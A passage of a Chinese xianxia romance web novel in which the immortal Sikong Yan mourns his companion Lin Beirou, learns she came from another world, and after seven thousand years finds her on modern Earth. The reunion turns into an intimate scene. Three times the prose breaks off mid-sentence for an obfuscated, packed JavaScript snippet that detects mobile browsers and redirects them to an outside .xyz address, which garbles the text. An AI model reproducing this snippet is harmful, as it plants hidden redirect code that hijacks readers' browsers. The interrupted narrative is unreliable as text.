时间在那一瞬间凝滞了,他看见了未来的幻象,他元神灵府中的黑气扩散,翻腾,在天劫抵达他法相一瞬间,吞没他的道心,化为无边血色,心剑粉碎成尘,他本人魂飞魄散,元神彻底消失于天地间。 世间不再有司空晏,因为他的心已经被殒灭,沾了情爱,生出执妄,无法踏虚飞升。 剩下来的是个污秽的残躯空壳,苟延残喘,被魔气入侵,流入了魔域,变成了一个无意识的魔偶,没有任何感情,只有杀戮和怨憎的本能,摧毁一切接近他的,寻找他永远失去的,进入一个阴寂悲惨的无限轮回。 幻象结束,司空晏意识到了什么,已来不及了,紫电天劫堪堪就要击中他法相所执的心剑。 天道钦定的宿命即将印证。 一线闪烁划破夜幕,不明亮,但足够快。 司空晏听到了破空声。 巨大的阴影挡在了他面前,乍一看以为是什么巨大妖兽,接着就看清是个奇形怪状的巨人。 很多神伶组合成一个巨大的人形盔甲,将一个活人拱卫在心脏位置,那个活人穿着简单的修行服,抱着一个奇怪的法宝,支撑起整个巨人盔甲,每个神伶都被武装到了牙齿,他们的玉冠、法衣、软甲、刀剑,全是天阶法宝,从太乙天都的宝库找出来的。 除了司空晏这样傲慢的,修士们大都会在渡天劫时各显神通,借助各种各样的外力,但这个人也太夸张了点。 司空晏眼睛睁得极大,他此生都没有做出过这样的表情,仿佛脑子一空,忘了想说什么,眉眼惯有的阴森全然消失,露出干净的底色。 他身体本能地动了,迎向那个人,无视其他一切,天劫在他眼里不复存在。 “林北柔——”司空晏不知道自己也会发出这样平凡而绝望的嘶吼。 天劫落下,正中巨人心脏。 最后一道紫电天雷,凝聚了所有九重天的雷霆之怒和杀意,神伶巨人以身躯硬抗,争取到了短暂的消耗时间。 司空晏一瞬间到了林北柔面前,却被雷劫之猛毒拖慢了速度,差了一刹那的十分之一。 他看清了,林北柔捧着的法宝是什么。 是他送给她的心誓道侣的定情之物,熔化之后再炼化而成,一枚草木之心,出自杏林谷医仙丹桂真人之手,能让天劫以为林北柔才是司空晏本体。 代价是林北柔必须把草木之心放在自己的心脏上,血肉心脏加上心誓的作用,足以蒙蔽天听。 紫电天雷如林北柔所愿,准确定位到了草木之心,难以形容的瑰丽之紫贯穿了草木之心,也贯穿了林北柔的心脏。 司空晏听到了幻象粉碎的声音,就像有一次他送给林北柔的玉簪,不小心被打碎在地,那样比雪落还柔和清脆的声音。 百年后。 让一众大能俯首的太乙老祖玉衡星君,脾气阴沉恐怖,比起从前有过之而无不及,所过之处百里已无活人敢接近,他居住的星天寮也成为死寂之地,时间仿佛在那里停止了,一切属于旧时光的东西,都维持他道侣离开前的模样,连一根针线都不能轻易挪动。 他没有在那一次玄霄雷劫中陨落。 这让无数暗中殷切盼望他死的敌人天都塌了,这么多年只能小心翼翼龟缩到蛮荒边缘地带,生怕他来寻仇。 司空晏不仅没死,他境界甚至超过了半步踏虚,已成名副其实的真仙。 因为他确实渡过了天劫。 外人不知道,最后那一道雷劫,是林北柔用草木之心为他化解的,代价是她死在了他的怀里。 司空晏百思不得其解,林北柔为什么要那么做。 当最剧烈的痛已无声融于所有其他感知,天地涓埃之微末,无处不在,司空晏就习惯了这种感觉,甚至都感觉不到痛的概念了。 他终日枯坐,一手支颔,仿佛泥塑木雕,要不是还有微微呼吸,真会以为他坐化了。 司空晏想到忘了时间,也没有想出答案,等回过神,本来上一秒还是盛夏池荷摇曳,下一秒外面都开始飘雪了,室内也积灰了,一地窗外吹进来的枯叶干蕊,连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853664|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 秋天是什么时候来什么时候走的都没有踪迹。 司空晏起身打扫屋子,林北柔住过的地方必须一尘不染,光是洁净不够,还必须圣洁。 有时候,他会出现幻觉,她的背影经过了走廊转角,她在他耳边说话,通常是叫他的名字。 “司空晏。”“祖宗。”“司空晏。” 从来没有别的一两句新的话,似乎只是回音。 司空晏觉得自己内里从林北柔死去那一秒起,就开始腐堕,没有一秒停止,日积月累,早已病入膏肓。 可是他不知道她去了哪里,被紫电天劫击中,修士会元神消散,司空晏是亲眼看到林北柔在自己怀里化为万千光点,散入千风的。 没有转世,没有三魂七魄的残余。 他的世界是一座巨大的坟墓,他是不能断气的活死人。 这个没有她的世界,了无生趣,他半秒也待不下去。 唯一牵绊住他的是直觉,他总觉得自己仿佛遗漏了什么。 他开始追寻林北柔的足迹。 林北柔平时每天是怎么度过的,他早已烂熟于心,他查看了平时那些侍奉她的神伶,进入他们每一个的记忆,复现不同视角的一点一滴,有时都以为她复活了。 林北柔喜欢去凡间玩。 她以前修炼是很认真的,打基础,学身法,学剑,一招一式,不断精进。 每次司空晏和林北柔出去打猎,猎物还没碰到林北柔,就被司空晏弹指成灰了。 气得林北柔把剑扔了,问司空晏什么意思,是不是在耍她。 司空晏解释不清楚,看到吃了那么多人、体型是她二十倍大的魔化异兽朝她冲过去,自己下意识就先替她解决了。 后来,司空晏控制住了自己,找了高阶傀儡和凶残异兽供她练习。 林北柔过关之后,强烈要求去魔域练手,司空晏却不带她去了。 魔域有很邪恶的东西,不是林北柔现在的境界能对付得了的,即使有他看顾,他也不能拿她的人身安全冒险。 林北柔很郁闷,失去了修炼动力,对吃喝玩乐产生了强烈兴趣。 一旦司空晏不督促她修炼,林北柔就好吃懒做,睡到日上三竿才起,她喜欢看书,不是那些深奥的秘笈,看的都是市井杂书,还爱看祭神舞蹈,听曲看戏。 各峰头长老们投其所好,在太乙天都各个节日,还有林北柔的生辰,都会广设宴席,邀请胜身洲有名的舞者歌者还有一众乐师,专门为林北柔表演定制剧目。 林北柔对那些人十分喜爱,结束后的赏赐很慷慨,还叫他们“艺术家”,虽然司空晏理解不了这是什么意思,大概是从哪个凡间国度学来的方言。 司空晏慢慢回忆着过去三百多年,林北柔每天说过的话,包括无意间透露的消息。 他似乎抓住了什么蛛丝马迹,另一头藏着个巨大的秘密。 司空晏依然死气沉沉,眼神中却多了一点别的异样闪烁,那是走在漆黑墓道里的人,忽然感觉到前方有微风,又怀疑是自己错觉。 司空晏这才意识到,他从未真的追究过林北柔的来历。 林北柔扔进修士堆里就找不到了,她的修为和身法都不起眼,长得倒是很顺他眼,第一眼他就觉得莫名眼熟,好像很久以前见过这人。 她的眼睛,她的笑容,她的不笑,他都打心底觉得熟悉。 这样的眼熟感,让他忽略了很多灯下黑。 没有她的陪伴,他需要面对无尽的孤独、丧失感、思念和痛苦,世界仿佛成了个巨大的空洞,虚空无聊,永远无法填满,失去了存在的意义,想要停止结束,却悬挂在半空,上下求路不得。 司空晏喜欢上了睡觉,在梦里,他可以见到林北柔,他每天晚上都会梦到她,有时候他还会梦到她在其他世界,而他只能像幽灵一样跟着她,不能跟她说话,也不能让她看见他,他们隔着透明的障壁。 他看到她和其他人说话,露出笑容,总会因为失控的狂怒和嫉妒而醒来。 久而久之,司空晏控制住自己,心平气和地待在林北柔身边,成了一个跟踪灵。 不过大多数时候,他和她还是像在胜身洲一样,每天没有变化,彼此陪伴,度过春夏秋冬,仿佛另一个无事发生的平行时空。 天明梦将醒,他总是不愿睁眼,贪恋多一刻留在有她的梦中。 片刻后,梦来无影去无踪,如朝露蒸发了,他还是会睁眼,回到冰冷残酷的现实。 活生生的现实每分每秒都在提醒他,这个世界没有她,他再也见不到她了。 念头像刀子一样凌迟他,他的心脏每天都在流血,无法愈合,五内就像有无法熄灭的火在焚烧。 他开始用其他东西填补,他把林北柔的线索整理成册,亲自一笔一笔记录,就像手账。 意外的是,这样做让他的心火稍微平息了下去,从大火烤变成了文火慢煎。 第三百二十一年年末,司空晏是在凡间度过的,新春佳节,辞旧迎新,人间都城的烟花爆竹,欢声笑语,让他在长夜里不那么无聊,他远远坐在楼阁上,靠窗望着出来过年的人们,数着漏壶的浮箭。 三更天的时候,水滴落下,司空晏眼帘半阖,眸中幽幽荡荡,他们分开的时间,正式超过了在一起的时间。 93. 第 93 章 司空晏一生都没有失去过什么东西,只有被他抛弃的,没有离他而去的。 因为无所得,亦无可失去。 拥有林北柔之后,司空晏才隐隐体会到,何谓患得患失。 当那个一直被他当成习以为常的存在,为了替他挡下一道会打落他一层境界却不至于致他于死的玄霄雷劫,居然用肉·身去挡雷劫。 司空宴脑子在那一瞬间是空白的。他的情绪和思考都来不及跟上反应。 那一瞬间,他感到的只有巨大的寒冷和深邃的空无。 林北柔的心脏被穿了一个血洞,人倒在了他的怀里,血染红了自己的衣服也染红了他的衣服,她平时眼神总是比较懒,像没睡醒一样,眼帘半睁半闭的,这一次她的眼睛却睁得很大。 司空晏的心脏也像被活活挖了出来。 心脏被悬挂在上不接天下不接地的虚空中一点一点密闭并被抽干血液。 悬之迟来的是无以伦比的暴怒。 这种暴戾没有具体的针对对象,是对整个天地,对渺茫命运的愤怒。 司空晏看到了自己的无知,被长期骄慢遮蔽,以为半步踏虚境界,可以藐视天地,却发现依然有无法逆转的极限,无能为力之事。 等到司空晏愿意承认林北柔确实死了,他才注意到一些被他忽略的小事。 比如,杏林谷的医仙丹桂真人,在林北柔死去后不久,突然将一身医术传给亲传弟子,启程云游,从此消失了。 杏林谷有人证实,林北柔似乎之前去找过丹桂真人。 司空晏亲自到了杏林谷,一干药修医修瑟瑟发抖,以为他是来屠满门的,面如死灰都做好了赴死的准备。 结果司空晏只是寻寻常常问了两句话,知情人士回答后,他就走了。 所有人都不敢相信自己捡回了一条命,甚至以为自己在做梦。 司空晏步入千灯殿,看着上面他亲手供奉着的,属于林北柔的一盏长明星灯。 这是唯一一盏没有焰火的灯。 之前那个寿数耗尽的大能说,林北柔的元神已消散于天地,不会再有轮回转世。 司空晏每天都会在这盏无焰之灯面前坐很久,盯着灯芯。 代掌门事务繁忙,却依然把司空晏的命令置于太乙天都一切内务外务之上。 司空晏一人在,太乙天都才能成为太乙天都,成为整个胜身洲最有威压的所在。 “老祖,晚辈去庄严脉禁地看过了,太初灵核的元座,是空的。” 司空晏闭着的眼睛刹那睁开了,幽黑瞳孔深不见底,空气一片死寂之后,里面仿佛燃起两簇鬼火。 代掌门屏息凝神,将自己融入背景板,等到司空晏的灵压撤回,他才敢呼吸。 “……去哪了?” 代掌门要是没有答案,绝对不敢来见司空晏,他躬身到底,跪拜着回话:“太初灵核,无法附着于法器灵宝等有形之物,只能附着于元神上。” 司空晏眼睛里的鬼火越来越亮了,他看上去不像个修道之人,更像个即将走火入魔之人。 从前的仙姿佚貌,现在的仙姿魔态。 代掌门语速不由自主加快了,声线有些不易觉察地颤抖:“现场,确实有元神痕迹遗留。” “是谁?”司空晏的声音就像脱离了七情六欲一样,超然物外。 明明异常平静,却让人全身细胞都开始瑟缩,元神恨不得逃离当场。 “……就是那位。”代掌门不敢直呼林北柔的名字。 林北柔在太乙天都有个尊称,小朔宸君,是太乙天都玉牒里,司空晏和她一起摇出来的名字。 一宗之首座的道侣尊号,会沿袭前代尊者,有福佑之意,这是胜身洲的传统。 这个名号取自创派之初的一位元老级掌门,大朔宸君,也是一位剑仙。 林北柔自己倒是挺喜欢小朔宸君这个号的,她出去交游时,别的门派掌门也都这么称呼她,不过自从林北柔死了以后,太乙天都没人再敢提这四个字。 而庄严脉禁地,历来只有掌门和其道侣才能进入。 林北柔的元神,接触了太初灵核,然后她死了,所谓元神消散,太初灵核随之也消失。 ……呵呵。 司空晏缓缓起身,肩膀开始抖动。 不可遏止的阴戾疯狂的大笑,倾泻而出,代掌门及时在千钧一发之际,瞬间撤离到百里之外。 山峦在震动,峰头在摇撼,整个太乙天都的中心地界都随司空晏的情绪而激荡。 代掌门无法判断,太乙老祖究竟是极致的狂怒还是至高的狂喜。 他在逃离之前,余光看见司空晏四分之一侧脸上有晶莹水光滑落。 代掌门不敢猜想那是什么,直接掐灭念头,给自己施了法术,让自己彻底忘了看见的景象。 那一天起,太乙老祖的状态就变了,他一改之前的死气沉沉,整个人沉浸在了另一种让人恐惧的兴奋中。 从那天起,司空晏就一直在寻找着什么。 元神会消散,但太初灵核不可能消失。 那就只有一种可能,林北柔的元神依然存在,只是不知道为什么,躲过了他的感知,让他以为她彻底死了。 林北柔还活着,这一丝可能让他整个灵魂都开始燃烧。 紧接着,另外一个可能也同样存在感强烈。 林北柔为了拿到太初灵核,欺骗了他。 她背叛了他,她践踏了他们的约定和承诺,她抛弃了他。 为了未知的原因,她舍他而去,宁愿死遁也不愿意告诉他真相。 那个未知的原因,在她心里,分量比他重。 是她有不得已的苦衷?还是说,她心里一直爱着别人? 司空晏猜疑万千,每个想法都是一把刀子,将自己虐得遍体鳞伤。 这样着魔一样的自我折磨,却让他内心深处点燃了诡异瑰丽的生命之火。 司空晏再次深深感觉到,他是活着的。 不再枯寂,不再无聊,只有林北柔能带给他这样击碎一切空虚的感觉,让他内心那个永无止尽的空洞被填满。 林北柔在他身边也好,离开他也好,只要知道她还活着,她还存在着,他的世界就仿佛一下子有了光,出现了蔚蓝的长空和郁郁青青的丰饶土地,生命抽芽生长,花鸟虫鱼热热闹闹。 以前他是在相对静止地下坠,这场坠落没有尽头,但林北柔出现了,她托举住了他。 林北柔伸出双手接住了他,牵起了他的手,生平头一次,他不再悬于半空,而是落在了地面,脚踩大地,行走于烟火人家。 司空晏看了一眼夜空中的烟火,盛极而落,转瞬即逝,相聚时炽烈欢愉,之后就是永恒的沉冷。 很让人烦躁的感觉,让他很想……摧毁这一切。 同时又极度兴奋战栗,想要赐福这一切,两股截然相反的极端情绪,愉悦撕扯他的胸膛。 “玉衡真仙。”门外响起一个苍老的声音。 司空晏听着逐渐寥落的爆竹声,眼皮也没抬一下,门却自动打开了。 对方缓步走了进来。 这是个浑身盖着破黑布的人,光着脚,脚腕上有苦行者的纹身,他们是苦修士的一类,终生的目标就是赎罪,净化自己,他们会不遗余力地帮助别人向善,哪怕对方是罪大恶极之徒。 他来历不明,寿数不明,打不赢司空晏,司空晏却也杀不掉他。 他说可以帮司空晏寻找那个他最想得到的答案。 司空晏就放他去了。 每个月,他都会来向司空晏做例行汇报,消息平淡,次次都一样,司空晏已习以为常。 司空晏声音阴柔死寂:“我还当不起那两个字。” 对方低下头:“你要的消息,我已经取得了。” 司空晏眼睛深处火种仿佛被什么瞬间点亮,野火蔓延,他慢慢抬起头,死死盯着对方。 “说。”他喉咙深处逼出一个字。 苦行者声音一点都不大,每个字都像洪钟一样,冲刷了司空晏的灵魂。 “小朔宸君,来自另外一个大世界。” “……哪个世界?” “这我就不知道了。” 之后,司空晏翻遍胜身洲所有经阁,寻找那个世界的名字,并没有明确线索,很多占星窥天的术士大能正在做自己的事,突然旁边瞬间出现了一个太乙老祖,平平淡淡地让他们找到道侣死遁去的大世界,大能们纷纷吓了个半死。 终于,有个鬼才大能提议让他进入梦占,因为梦连接着阿赖耶识,不管是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903388|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪个大世界,都连接着阿赖耶识的底层混沌心识。 或许,在那里他能感应到浩渺宇宙给他的回应。 司空晏做了个很长的梦。 梦里,林北柔的身体并没有消散成光点,司空晏才回过神,发现他坐在一个山洞中,怀里抱着林北柔的尸体。 外面没有了熟悉的楼阁和四时不同的青山,没有了林北柔喜欢的鸟语花香,只有一片死寂和苦寒。 司空宴从镜子里看到自己的头发已经变得很长,衣服也变得破烂。他才想起这里是魔域。 他带着林北柔来到这里,是为了寻找死而复生之法。司空晏带着林北柔走到哪里,就随机抓一个当地修为最高的魔修大能,问他能不能让死人复活。 魔修们有的惧怕司空晏,有的想和他打一架,有的想讨好他,都没有提供司空晏想要的,司空晏失望之余,脸色淡淡地把他们全杀了。 司空晏本来打算回去,有一个魔修竟然想偷林北柔的身体,司空晏接连把魔域十八层屠遍,外面的魔修被他杀干净了,问不到人了。 林北柔的身体被他保存的很好,就像刚刚睡着一样,皮肤吹弹可破,宛然如生前,感觉还有呼吸,好像下一秒就会睫毛轻颤,醒过来。 司空晏修炼时走火入魔了一次,醒来时山洞外面已是严酷的风雪,分不清是白天还是晚上。 司空宴不在乎时间,反正他现在时间多得很,他把林北柔裹了裹,抱在怀里就出发了。 之所以不把林北柔放在空间里,是因为他不想。 司空宴就想实打实地感受着林北柔的身体窝在他怀里的感觉,就像过去每天一样。 偶尔,司空宴盯着林北着无知无觉的脸也会升起一股阴暗的怨,分不清是爱极了还是恨极了。 凭什么我这么痛苦,你还在那边睡大觉呢,你,快给我醒过来。 司空晏阴柔阴沉地想。 你一定是躲到哪里去了,等我找到你,那就是你惊喜的开始。 他找到了一个能让林北柔活过来的人。 对方很老了,几乎不成人形,披着一件褴褛的斗篷,抬手指了指被司空晏抱在怀里的人。 “你为什么抱着这具傀儡壳子不撒手?” 司空晏抬起眼皮:“傀儡壳子?” 对方颤颤巍巍抖抖嗦嗦地笑了起来:“这不是凡间男女父母胎生,也不是修道者灵胎所化,也不是精怪修成人形,而是一个没有来历的傀儡壳子,之前的灵魂只是寄宿在上面,时间一到自然回她该回的地方去了。” 司空晏的眼中像有雾气凝聚,再也看不清里面的情绪,是黑色的雾气,也是猩红的雾气。 “……这个灵魂,去了哪儿?” 司空晏慢慢抬起脸,声音轻得像薄暮。 对方笑了起来,笑声爽朗又寥落,像烟花星雨:“当然是阎浮提世界,你想知道那个世界在哪里吗?” 司空晏像一尊刚出生的神伶,眼睛睁得极大,盯着对方,那模样表情几乎可以说是纯粹虔敬的求知欲。 对方叹息说:“那个世界,你去不了!就算是真仙你也去不了,因为那个地方的天道啊,坏了!” 司空晏眼睛一眨不眨:“我要去。” 对方:“你一定要去,就要承担修正那个地方天道的代价。” 司空晏:“我该怎么做。” 对方:“呵呵,当然是修炼,你的劫数,才刚刚开始呢。” 为了撬动那边的天道,他必须修炼。 司空晏得到了答案,明白了自己该做哪些,梦醒之后,他开始继续修行无上清凉心剑诀。 道心本相沉沉地说:“你的道心变了,再修下去,你会踏入魔道。” 司空晏眼皮不抬:“那就入魔。” 这一次,他在胜身洲修炼了七千年,上古的建木之椿,千年为一轮四季,花开花落,一共七次,司空晏带林北柔来巨茉谷看过这株紫椿,当时他在树下睡着了,风吹来,林北柔用术法录下了他在花瓣雨中安睡的样子。 林北柔说他是古木下午睡的未名仙。 下次见到林北柔的时候,他一定要对她说,未名仙每天晚上都会梦见你,一夜一次,是七千三百二十一次,你欠他这么多次的重逢,都要在那个属于你的世界,兑现。 94. 第 94 章 七千年过去。 司空晏站在茫茫人流中,望着正对太平洋的海湾商业区步行街繁华的车水马龙,陷入了沉思。 这……都是些什么东西? 胜身洲非常大,除了修士,还有很多凡人居住的安逸区域,炎夏一到,人们穿着十分清凉,司空晏并没有觉得奇怪。 他奇怪的是这里的氛围,让他不知道该如何形容。 林北柔在这里,她会告诉司空晏:“欢迎来到二十一世纪中期的地球,你现在在和胜身洲中部仙洲最接近的华夏文明。” 而司空晏会转过来看着她,眼神疑惑又若有所思,脸上却淡淡地没有表情。 广场巨幕正在播放一段即将上映的电影宣传预告,讲述女主为了寻找重要之人,穿梭时空。 旁白声音低沉:“为你翻山越岭,跨越星海,……” 司空晏盯着广场巨幕。 “老祖,容我提醒一句,你的时间不多了,以神化形在这里无法支撑太久,”法器器灵用沧桑的声音提醒他,“这里的天道很奇怪,你逗留太久,它很快会注意到你的。” 司空晏身边经过的人都在不停回头看他,很多人把他当成超模或者明星了,在心里惊叹,就算是那些头部超模和明星,也远远比不上他,让人疑惑这到底真的是真人吗。 幸好现在是晚上,大家都要回家了,就算内透灯光很高雅,也看不太清人。 即使一时被司空晏皮相迷惑,也不会真的追上去。 他站在尘世喧嚣里,像一缕云间天庭漏下的星风,看似冰凉又缥缈,然而当一个冒犯的凡人伸手想抓住,瞬间会被灼熔掉整个手掌乃至肉身。 司空晏呼吸着来自阎浮提世界的滚滚红尘。 终于,他跨越了天堑。 他做到了胜身洲自诞生以来,无数已飞升的大能都未能做到之举。 他们成为真仙后,去往的更像一个灵界,那里没有七情六欲,只有安详和永恒的平静。 位面之壁无法穿透,他们从未去过和胜身洲等同的另一个位面,而他做到了,他战胜了天道。 因为一个执念。 也因此付出了一些代价,司空晏低头看了看自己的手,指甲盖微微有些透明,这种透明感,在以肉眼看不见的速度,朝他全身侵蚀。 司空晏拿出口罩戴上,闭上眼睛,屏蔽了铺天盖地的浊流,捕捉到他想要的新鲜微风。 下一秒,司空晏出现在了林北柔家楼下,他站在树下阴影,抬起头,眯起眼睛看着一间卧室窗户,灯光昏黄,窗帘拉上的,里面有人。 他没有去感知里面有几个人。 就是不想。 司空晏想法很简单,如果她是因为其他男人离开他的,他会采取对应行动。 司空晏一脸淡漠,胸膛却鼓噪热烫到反常,好像什么巨大的魔物在沙漠底下翻搅,连手指尖都颤抖发烫。 七千多年岁月,他日思夜想,每晚做梦都能看见,醒来却消失的那个人,终于要在现实和他重逢了,现实和梦境的倒错,终于能被纠正。 曾经有一次,司空晏修炼时进入了太深的阿赖耶识,甚至差一点被说服,林北柔从头到尾都是他幻想出来的存在,真实世界并没有这个人,在真实世界,他早就因为修仙失败,堕入魔道,彻底疯了。 司空晏深吸一口气,没有用修为,很正常地进了单元楼,进了电梯,读着楼层,中途还被一个带了只黑糊糊土狗散步回来的邻居遇到了,幸好那邻居只顾低头手机打字,一脸苦大仇深跟女朋友吵架,小黑土狗瑟瑟发抖缩在他后边,眼睛都不敢抬一下,竭力远离司空晏,当事邻居也没发现。 司空晏到了林北柔家门口。 他都没有先用灵识扫视一遍,直接按了门铃。 短短几十秒,思绪放空,又似乎一瞬万念心魔。 她还记得他吗?她会不会忘了他了? 她真的是林北柔吗,万一他搞错了? ……万一,开门的是个陌生人呢。 这些患得患失,司空晏之前从未体验过,却在最接近望梅止渴之梅时,疯狂井喷式爆发。 不过。 有一件事很确定,司空晏迅速阴沉了眼睛。 如果开门的是个男人,并且不是林北柔的亲属,他就要动手了。 轻柔而灼人的杀意,逼上了司空晏的眼角。 过了几分钟,他才听到脚步声,熟悉到像踩在他心脏上,让他心尖都在发颤。 周围朴素的公寓楼环境,也在这一刻显得如此不真实。 对方谨慎地站在了玄关处,脚步声很轻,踮着脚尖,对深更半夜有人来敲门非常警惕。 司空晏用了隐匿的法术,让自己看起来是对方熟悉的家里人。 对方在可视化屏幕上看了两眼,动作停了一停,相当困惑,好像有点不理解又有一点着急,当下就把门打开了,还没看清人就开始嚷嚷:“你不是说你去旅游了吗,怎么现在又回——” 对方戛然而止,像突然失去了灵魂,静止在原地,一动不动,眼睛睁得极大,薄薄的眼皮绷太紧了,以至于肌肉支撑不住,开始机械地快速眨眼。 她像看见了一个失而复得的幻想,一个仅存在于遥远过去的美梦,野旷烟渚,遥夜共时,月下清泉滟滟瑶台。 司空晏让自己完全显现在林北柔面前,静静地望着她,和她对视。 林北柔近乎忘我地凝视着他,脸上浮现出些微喜悦,好像日出熹微。 她嘴唇无意识地分开了,他的名字就在她喉咙中,转瞬间她脸色忽然凝固,阴霾笼罩了日光。 林北柔脸上显出一种前所未有的恐惧,司空晏心口淬毒一样刺痛,又像蜜露一样甘甜舒畅,他喜欢尝尽和她有关的快乐和痛苦,真实的感觉被放大到极致,重逢正在发生,当下司空晏也不知道自己下一秒会做什么了。 她在怕他吗?是啊,她应该这么害怕的,她违背了誓言,她先背叛的。 现在,他找到她了。 司空晏动了,他上前抱住了林北柔的肩膀,将她整个人揽进怀里,体型差让他抱她,就像成年人揽抱一只小树袋熊那样轻易,林北柔被他整个人带进了门里,司空晏关上门。 客厅里有沙发,有壁挂电视,窗帘半拉着,有装饰品,灯光暖黄温馨。 林北柔的气息铺天盖地,这儿是她从小生活长大的家,对于司空晏来说,就像林北柔第一次来到胜身洲,来到星天寮一样神秘,如同一个庄严的奇迹。 司空晏全方位感觉到这个公寓此时只有他们。 很好,真的是太好了。 司空晏把林北柔抱了起来,把她两边膝盖扶到自己腰上放着,林北柔被迫搂住他的脖子,她看上去恍恍惚惚的,好像小动物遭遇灭顶危机,会进入大脑切断外界感知的僵直状态一样,乖乖的让干嘛干嘛,据说这样可以减轻痛苦的侵袭,让死亡来得温柔些。 啊,她以为他要杀了她啊,与其说是死,不如说是快感地狱吧。 “林北柔,你感觉到了吗,我一直在等着这一天……”司空晏就这样抱着林北柔,像从前每一天,他抱着困了的林北柔去午睡,或者晚上安寝。 司空晏心里的野兽一边想撕碎林北柔,一边又想将她品尝殆尽,用温柔溺毙她。 这天晚上的夜,在很多啜泣和深喘中度过,不计其数的吻,化成了波光闪闪的河流。 司空晏没有闭眼,他现在不需要睡觉,一直睁着眼睛盯着林北柔,七千多年看似很久,此时此刻,却像弹指一瞬,他油然生出错觉,他只是和她分开了七天。 林北柔好像终于从半脱魂的状态清醒了,翻身坐起,头发乱糟糟的,流泻在床单和被子上,司空晏很高兴她没有剪掉自己的头发,他喜欢她这样,以前有一次林北柔想剪,司空晏皱皱眉头,没说什么,林北柔就剪了,之后问他是不是不喜欢,司空晏说你高兴怎么样就好,林北柔又问为什么喜欢我长发,司空晏说那样我可以帮你每天梳一遍,梳很久,林北柔当时说那多麻烦,要是你不在,我肯定全剪了。 现在她没有剪掉。她明明可以不用留这么长的。 司空晏懒懒地躺在枕头上,胳膊肘屈起,一手支颔,和林北柔大眼瞪小眼,目光落在她脖子上的吻痕,很自然地向下逡巡其他地方,林北柔迅速拉起被子遮挡自己:“你你你……你怎么过来的!” 司空晏眨了眨眼睛,声音清凌凌低磁磨人耳膜,席卷三魂七魄:“为你翻山越岭,跨越星海。” 林北柔表情一空,然后闭上眼缓缓扭头,仿佛假装没听见这句祖宗被现代社会荼毒的台词。 下一秒,她脸色变得很焦躁,磕磕绊绊地说:“你不该来这里的,你不知道,这里的天……” 她顿住了,捂住嘴巴,指了指头顶,用非常轻的声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14950981|126507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说:“很危险,我不想你死。” 司空晏的愤怒和怨恨一点没消失,它们就储存在他心井里,和思念一样深,他依然随时随地琢磨着要怎么报复林北柔,但这句话奇迹般一下子熨平了他胸口翻腾的疼痛,简直就是疼痛消失术,他胸膛泛起微微的涟漪,很平和,就像凶兽的刺毛被抚平一样。 林北柔见司空晏诡异地陷入安静,脸上表情也有点阴晴不定,后悔自己说错了话。 她不该碰这个话题的。 林北柔假装无事发生,丝滑又小心翼翼转移了话题:“你已经成真仙了吗?” 司空晏随便点了点头,林北柔刚才和他不可描述时,也感觉到了,司空晏现在的状态比起从前更是上了一个台阶,要不是她体力有限,感觉司空晏能摁着她来三天三夜,恐怖到深不可测。 林北柔听了神情更暗无天日了。 司空晏缓缓开口:“你怕什么,你跟这里的天道做了交易,把太初灵核带走了,我现在能手撕它,你就自由了,这辈子,下辈子,生生世世,你都只能当我的人。” 林北柔听了这番熟悉的阴柔语气,有种想哭又想笑的感觉,感觉自己可能也不正常了,她脸上又出现了微微的喜悦,阴霾散去,水蓝水蓝的天空又出现了。 她以为自己会被直接扼死的,虽然是她想的太多了,她做了很多噩梦和好梦,各种各样的BE和HE,都不如这一刻来得平静而真实。 真实,就是最美好圆满的体验,无限的体验。 如果司空晏成了真仙,那他还真有和这里的天道对刚的资本。 不过事情发展太顺了,林北柔还有一丝不敢相信,甚至一念闪过,怀疑自己是不是身处一个醒不来的好梦中,眼前的司空晏只是一场幻觉。 她抬起手,抚摸上司空晏的脸庞。 司空晏垂下眼睫,下巴朝她手的方向动,侧脸埋进她的手心,轻轻蹭着。 林北柔嘴唇微微张开,失神地望着他,她坐着,他躺着,夜灯有两个,一个暗蓝夜海,一个篝火黄昏,房间里一切时光静谧地细细流淌。 司空晏张开嘴,一口咬住林北柔的虎口,林北柔脸色一变,想抽出手,根本甩不脱,她后仰栽进被子里,被司空晏顺势倾身压进了被子,全身都被他沉厚强悍的躯体压得严严实实,却又不至于被压疼,好像被什么巨兽当成幼崽揣进了毛绒绒厚实温暖的腹毛中,无须担心外界寒冷。 不过这可不是什么照顾小宝宝的场景……司空晏的身躯火热,皮肤像灵玉一般柔滑细腻,骨骼停匀,肌肉块垒分明,像胜身洲用来打造刀剑的最上等的金属矿,林北柔扶着他的肩膀,掌心落在他背上,能感觉到他背肌和肱二头肌的伸张移动,感觉底下骨骼蓄着巨大的势能。 